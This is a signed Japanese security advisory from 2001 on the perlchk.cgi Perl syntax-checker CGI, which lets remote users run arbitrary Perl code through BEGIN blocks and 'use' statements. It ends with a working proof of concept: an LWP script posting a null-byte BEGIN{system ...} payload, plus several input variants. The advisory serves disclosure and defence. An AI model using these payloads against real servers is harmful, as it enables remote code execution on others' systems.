-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ====================================================================== CGI PROGRAM SECURITY ADVISORY [Perl Syntax Checker 1.0, 1.1, 1.1a] 2001/02/27 ====================================================================== http://www.ansi.co.jp/cgi/security/advisories/perl-syntax-checker_2001_02_27.txt ====================================================================== ■ 影響を受けるCGIプログラム * 文法チェッカ perlchk.cgi 1.0, 1.1, 1.1a (これ以前の全てのバージョンには同様の問題が存在する可能性があります。) * これと同様の処理を行う全てのプログラム ■ 概要 文法チェッカ perlchk.cgi 1.0, 1.1, 1.1a はてっちゃん氏によって作成され たPerl の文法チェック CGI プログラムです。このプログラムおよび同様の処 理を行う全てのプログラムには外部から任意の Perl コードが実行可能となる セキュリティ上の問題点があります。 文法チェッカ perlchk.cgi: http://homepage2.nifty.com/sophia0/sub04.html ■ 解説 文法チェッカ perlchk.cgi 1.0, 1.1, 1.1a では与えられた入力をファイルに 保存して、"perl -c FILENAME" (文法チェック) を実行します。このとき、通 常は与えられたコードは実行されませんが、入力によっては CGI プログラム の動作権限で任意の Perl コードを実行可能です。 ■ 影響 CGIプログラムが各ユーザ権限で実行されるシステム (Apache + SuEXEC など) の場合、そのユーザの権限で任意の操作をすることが可能です。これによって ユーザ環境が破壊される可能性があります。そうではない場合でも、CGI プロ グラムの実行 UID で任意の操作が可能です。 ■ 回避方法 文法チェッカ (またはこれと同様の処理を行うプログラム) をアンインストー ルする。 ■ 参考コード #! /usr/bin/perl -w use LWP::UserAgent; $header = new HTTP::Headers(Referer => "http://host/"); $request = new HTTP::Request(POST => "http://host/perlchk/cgi-bin/test/perlchk.cgi", $header, "mode=check&cgitxt=%00BEGIN+{+system+'ls+-lR+>+ls-lR'+}"); $ua = new LWP::UserAgent; $ua->request($request); __END__ (または、以下のいずれかのコードを入力) use strict system "ls -lR > /tmp/ls-lR"; no strict system "ls -lR > /tmp/ls-lR"; BEGIN { system "ls -lR > /tmp/ls-lR" } q["]; BEGIN { system "ls -lR > /tmp/ls-lR" } # 1.1a の場合 ■ 履歴 2001/02/27: 公開 2001/03/13: 一部修正・参考コードを追記 2001/03/17: 一部修正 ====================================================================== (C) 2001 ASUKA NETWORK SERVICE, INC. http://www.ansi.co.jp/ HIRATA YASUYUKI http://yasu.asuka.net/ All rights reserved. * この文書に書かれている内容は無保証です。 * この文書に書かれている内容を利用して攻撃を行った場合、刑事上・民事上 の責任を問われることがあります。 * このファイルは内容の変更 (電子署名の除去を含む) が行われない限り自由 に再配布可能です。 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7rqeKduP2KhBu8ikRAlR5AJ4nYpP18CqjE73cGLrE6YUWsEToDACg+iuE NBZmHJTYGUUIxrFJkCcw85iIPwMFATuup4rCitaZXxzdBBECVHkAn1DALKnaBWuc euVDkGSpFBAkTzZNAJ0Ty9DQ8DrToAZDrNoSYIvW44p6+g== =8EDi -----END PGP SIGNATURE-----